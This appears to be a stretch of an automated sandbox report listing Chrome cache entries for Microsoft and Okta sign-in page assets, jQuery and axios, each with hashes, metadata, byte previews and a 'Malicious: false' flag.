SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 26, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	906
Entropy (8bit):	7.565975642985942
Encrypted:	false
SSDEEP:	24:yUrjEmhBCdPsJJb4FXwcbWU9WNaeVUKjj9:djvBnJsFBBeuKf9
MD5:	D3FA45B4E6160DB05485651A1323401A
SHA1:	AD3D3329589BF457D9DE264DC7EAE2191E801CAC
SHA-256:	6A33F6502B09A725E931DE55126631F98665A09394F1C3E7ECB992F0CFDBF13E
SHA-512:	F4A541483F06309F70E5BEF7CCBD1A69F4401D8F8314BBB41B46201BC2726F3A4BD931DC2001720C1E19295D2DBA3F6DD14BCB86E17FDD05BAE928BEC41D418B
Malicious:	false
URL:	https://aadcdn.msauthimages.net/c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/bannerlogo?ts=636776137975672854
Preview:	.PNG........IHDR.............b.Us...3PLTE...H..H..H..H..H..H..H..H..H..H..H..H..H..H..H..H..j.......tRNS....`@.. .0p.P..w....IDATH.UI.. .$.....(......uB.I.H.....Zkik.V.. ZI..5K.p...O.d._.:@.Wh.$~..a^...rS.....8Vyk.Z,......p../~....._.j].?..T7X.P..O.k.z.M.[9....`f......)f.=..Giy.9...D.\D...lv.v.K...7VV..jt;....'...bfK.G..kL.P....#G?...i;.E.T.....r.6..N..7.......rB..}.e.8^...........\|w...=8.....8.5.3rWt...a?...8..^=(....+-.V.\|.j.wG.o.M]..............O.(Y..:V]...:.(.I......4.D.....e....b."qHh.'...4^X....#N(...G..=wGp.a....c..iV..<..._h1f.....<4.....#@j$........Y..`.GGa..s..=..O.(.F.6.....m.A\..RPX6.&..H....J.<..H....a.9...`i)`i @..0m.Y+7:.._...4.".i_.\|._....`..7..P.=.'...+.}...s....TZ....>.+..........W ...rt.7^P...z....._9.Vf.&..PHMW.?V..^^...^.?.V"......a.G..5w....2.x.l..q..w-f....d..8#.TZ..j.Xg.x.GG...^.2..8.@a.%...].Q}...$.=O..l;......,%t......IEND.B`.

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 26, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	906
Entropy (8bit):	7.565975642985942
Encrypted:	false
SSDEEP:	24:yUrjEmhBCdPsJJb4FXwcbWU9WNaeVUKjj9:djvBnJsFBBeuKf9
MD5:	D3FA45B4E6160DB05485651A1323401A
SHA1:	AD3D3329589BF457D9DE264DC7EAE2191E801CAC
SHA-256:	6A33F6502B09A725E931DE55126631F98665A09394F1C3E7ECB992F0CFDBF13E
SHA-512:	F4A541483F06309F70E5BEF7CCBD1A69F4401D8F8314BBB41B46201BC2726F3A4BD931DC2001720C1E19295D2DBA3F6DD14BCB86E17FDD05BAE928BEC41D418B
Malicious:	false
Preview:	.PNG........IHDR.............b.Us...3PLTE...H..H..H..H..H..H..H..H..H..H..H..H..H..H..H..H..j.......tRNS....`@.. .0p.P..w....IDATH.UI.. .$.....(......uB.I.H.....Zkik.V.. ZI..5K.p...O.d._.:@.Wh.$~..a^...rS.....8Vyk.Z,......p../~....._.j].?..T7X.P..O.k.z.M.[9....`f......)f.=..Giy.9...D.\D...lv.v.K...7VV..jt;....'...bfK.G..kL.P....#G?...i;.E.T.....r.6..N..7.......rB..}.e.8^...........\|w...=8.....8.5.3rWt...a?...8..^=(....+-.V.\|.j.wG.o.M]..............O.(Y..:V]...:.(.I......4.D.....e....b."qHh.'...4^X....#N(...G..=wGp.a....c..iV..<..._h1f.....<4.....#@j$........Y..`.GGa..s..=..O.(.F.6.....m.A\..RPX6.&..H....J.<..H....a.9...`i)`i @..0m.Y+7:.._...4.".i_.\|._....`..7..P.=.'...+.}...s....TZ....>.+..........W ...rt.7^P...z....._9.Vf.&..PHMW.?V..^^...^.?.V"......a.G..5w....2.x.l..q..w-f....d..8#.TZ..j.Xg.x.GG...^.2..8.@a.%...].Q}...$.=O..l;......,%t......IEND.B`.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (51734)
Category:	downloaded
Size (bytes):	222931
Entropy (8bit):	5.0213311632628725
Encrypted:	false
SSDEEP:	3072:Z4blthK0D4NIbkhhMW0AphsQyXV3oUHDDlxh/LoFdW:Z4vhK0D4NQlxh/LoFdW
MD5:	0329C939FCA7C78756B94FBCD95E322B
SHA1:	7B5499B46660A0348CC2B22CAE927DCC3FDA8B20
SHA-256:	0E47F4D2AF98BFE77921113C8AAF0C53614F88FF14FF819BE6612538611ED3D1
SHA-512:	1E819E0F9674321EEE28B3E73954168DD5AEF2965D50EE56CAD21A83348894AB57870C1C398684D9F8EAB4BBBEF5239F4AEA1DCAB522C61F91BD81CF358DA396
Malicious:	false
URL:	https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css
Preview:	@charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.qtip-content,.qtip-titlebar{overflow:hidden;position:relative}.qtip-titlebar{border-width:0 0 1px;font-weight:700;padding:5px 35px 5px 10px}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{border:1px solid transparent;cursor:pointer;outline:medium none;position:absolute;right:-9px;top:-9px;z-index:11}.qtip-titlebar .qtip-close{margin-top:-9px;right:4px;top:50%}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{direction:ltr;display:block;text-indent:-1000em}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{background:transparent none no-repeat -100em -100em;color:inherit;height:14px;line-heigh

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89664
Entropy (8bit):	5.290543045467053
Encrypted:	false
SSDEEP:	1536:SjjxXUHJnxDjoXEZxkMV4PYDt0zxxf6gP3f8cApoEGOzZTBvUsuy8WnKdXwhLQvg:SdeIygP3fulzcsz8jlvaDioQ47GKH
MD5:	00727D1D5D9C90F7DE826F1A4A9CC632
SHA1:	EA61688671D0C3044F2C5B2F2C4AF0A6620AC6C2
SHA-256:	A3CF00C109D907E543BC4F6DBC85EB31068F94515251347E9E57509B52EE3D74
SHA-512:	69528A4518BF43F615FB89A3A0A06C138C771FE0647A0A0CFDE9B8E8D3650AA3539946000E305B78D79F371615EE0894A74571202B6A76B6EA53B89569E64D5C
Malicious:	false
Preview:	/! jQuery v3.6.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=17, height=0, bps=0, compression=none, PhotometricIntepretation=RGB, manufacturer=Leica Camera AG, model=M Monochrom, width=0], baseline, precision 8, 1024x691, components 3
Category:	downloaded
Size (bytes):	104224
Entropy (8bit):	7.772189751161473
Encrypted:	false
SSDEEP:	1536:Ile98ESBl0yXv9GSZxgyDDAy4JDneo8ZK73HHhqPtgB7tpMC5f5/tJ4Z:IcYBl0G1GIxjDEy4JDZV3ug7pMc5/L4Z
MD5:	3D26FB43562E1EC0911DFFF11597E1B5
SHA1:	3F98BA1E8A7FD38F4E74AFBF8263E4C32F9C9059
SHA-256:	C00ED03DAB6125946A5402872031911B0D32B4E69DC61C4946E67072C7B05231
SHA-512:	0096AAB31EEE96083822A03575C1CAEAF1D634090A14005A893EB1EF1A6EC01560B7E9E1E93CB75549372A24A6DC5706B0DDB1129A552705E891D1123DFF6DE3
Malicious:	false
URL:	https://aadcdn.msauthimages.net/c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/illustration?ts=636777842252358527
Preview:	......JFIF..............Exif..MM..............................\..................................................................................g..................................v...............1..........2.........2.i.........F................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10796
Entropy (8bit):	7.946024875001343
Encrypted:	false
SSDEEP:	192:aPzBBDKs07GiH528urXXSjD4/voR3Euri/in9Q28oLaIAQLdCYXQIDeoIdv60:aPVBQ7P5nIyjD+oRnr4inJdANuGdC0
MD5:	12BDACC832185D0367ECC23FD24C86CE
SHA1:	4422F316EB4D8C8D160312BB695FD1D944CBFF12
SHA-256:	877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
SHA-512:	36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
Malicious:	false
Preview:	.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.......dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.\|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H\|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=17, height=0, bps=0, compression=none, PhotometricIntepretation=RGB, manufacturer=Leica Camera AG, model=M Monochrom, width=0], baseline, precision 8, 1024x691, components 3
Category:	dropped
Size (bytes):	104224
Entropy (8bit):	7.772189751161473
Encrypted:	false
SSDEEP:	1536:Ile98ESBl0yXv9GSZxgyDDAy4JDneo8ZK73HHhqPtgB7tpMC5f5/tJ4Z:IcYBl0G1GIxjDEy4JDZV3ug7pMc5/L4Z
MD5:	3D26FB43562E1EC0911DFFF11597E1B5
SHA1:	3F98BA1E8A7FD38F4E74AFBF8263E4C32F9C9059
SHA-256:	C00ED03DAB6125946A5402872031911B0D32B4E69DC61C4946E67072C7B05231
SHA-512:	0096AAB31EEE96083822A03575C1CAEAF1D634090A14005A893EB1EF1A6EC01560B7E9E1E93CB75549372A24A6DC5706B0DDB1129A552705E891D1123DFF6DE3
Malicious:	false
Preview:	......JFIF..............Exif..MM..............................\..................................................................................g..................................v...............1..........2.........2.i.........F................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (54108)
Category:	dropped
Size (bytes):	54147
Entropy (8bit):	5.276423708593586
Encrypted:	false
SSDEEP:	768:yKpqe+vlxUDY+ujgCFCUG3WiqbfwNz2mPoPyC5m7QFRYdV6ItsL/1bWZj937ZGLl:vpqFkinP5AOYdVs4Rhw
MD5:	271D193B038C85D1FE7EF5FD6121C793
SHA1:	51EBED891D546FA572890D7630F230DC1AD082F2
SHA-256:	F5B2B26071BB59F466683356DF11B5392614CF6966586917990C65D48AF0DCB9
SHA-512:	0DD5FF6301797B8D4E93E008F351C8F1FE7FE54B28C42553F46298651233A4BC5BF13C33E19C0F3D7FA340CC0C84D43D6F9FB30C479F73E75CBD0A0F586359DE
Malicious:	false
Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).axios=t()}(this,(function(){"use strict";function e(e){var r,n;function o(r,n){try{var a=e[r](n),u=a.value,s=u instanceof t;Promise.resolve(s?u.v:u).then((function(t){if(s){var n="return"===r?"return":"next";if(!u.k\|\|t.done)return o(n,t);t=e[n](t).value}i(a.done?"return":"normal",t)}),(function(e){o("throw",e)}))}catch(e){i("throw",e)}}function i(e,t){switch(e){case"return":r.resolve({value:t,done:!0});break;case"throw":r.reject(t);break;default:r.resolve({value:t,done:!1})}(r=r.next)?o(r.key,r.arg):n=null}this._invoke=function(e,t){return new Promise((function(i,a){var u={key:e,arg:t,resolve:i,reject:a,next:null};n?n=n.next=u:(r=n=u,o(e,t))}))},"function"!=typeof e.return&&(this.return=void 0)}function t(e,t){this.v=e,this.k=t}function r(e){var r={},n=!1;function o(r,o){return n=!0,o=new Promise((fu

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10450)
Category:	downloaded
Size (bytes):	10498
Entropy (8bit):	5.327380141461276
Encrypted:	false
SSDEEP:	192:x9iW+rIadfLTcaTO5BrwjnwSrQ1kPmqQmMjmtmumobU8:x9KVLbw6jqON
MD5:	E0D37A504604EF874BAD26435D62011F
SHA1:	4301F0D2B729AE22ADECE657D79ECCAA25F429B1
SHA-256:	C39FF65E2A102E644EB0BF2E31D2BAD3D18F7AFB25B3B9BA7A4D46263A711179
SHA-512:	EF838FD58E0D12596726894AB9418C1FBE31833C187C3323EBFD432970EB1593363513F12114E78E008012CDEF15B504D603AFE4BB10AE5C47674045ACC5221E
Malicious:	false
URL:	https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css
Preview:	a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,th,thead,tr,tt,u,ul,var{background:transparent;border:0;font-size:100%;font:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}:focus{outline:0}ins{text-decoration:none}del{text-decoration:line-through}table{border-collapse:collapse;border-spacing:0}input[type=hidden]{display:none!important}input[type=checkbox],input[type=radio]{border:0!important;margin:0;padding:0}@font-face{font-family:Proxima Nova;font-style:normal;font-weight:400;src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot);src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot?#iefix) fo

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89664
Entropy (8bit):	5.290543045467053
Encrypted:	false
SSDEEP:	1536:SjjxXUHJnxDjoXEZxkMV4PYDt0zxxf6gP3f8cApoEGOzZTBvUsuy8WnKdXwhLQvg:SdeIygP3fulzcsz8jlvaDioQ47GKH
MD5:	00727D1D5D9C90F7DE826F1A4A9CC632
SHA1:	EA61688671D0C3044F2C5B2F2C4AF0A6620AC6C2
SHA-256:	A3CF00C109D907E543BC4F6DBC85EB31068F94515251347E9E57509B52EE3D74
SHA-512:	69528A4518BF43F615FB89A3A0A06C138C771FE0647A0A0CFDE9B8E8D3650AA3539946000E305B78D79F371615EE0894A74571202B6A76B6EA53B89569E64D5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js
Preview:	/! jQuery v3.6.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (54108)
Category:	downloaded
Size (bytes):	54147
Entropy (8bit):	5.276423708593586
Encrypted:	false
SSDEEP:	768:yKpqe+vlxUDY+ujgCFCUG3WiqbfwNz2mPoPyC5m7QFRYdV6ItsL/1bWZj937ZGLl:vpqFkinP5AOYdVs4Rhw
MD5:	271D193B038C85D1FE7EF5FD6121C793
SHA1:	51EBED891D546FA572890D7630F230DC1AD082F2
SHA-256:	F5B2B26071BB59F466683356DF11B5392614CF6966586917990C65D48AF0DCB9
SHA-512:	0DD5FF6301797B8D4E93E008F351C8F1FE7FE54B28C42553F46298651233A4BC5BF13C33E19C0F3D7FA340CC0C84D43D6F9FB30C479F73E75CBD0A0F586359DE
Malicious:	false
URL:	https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js
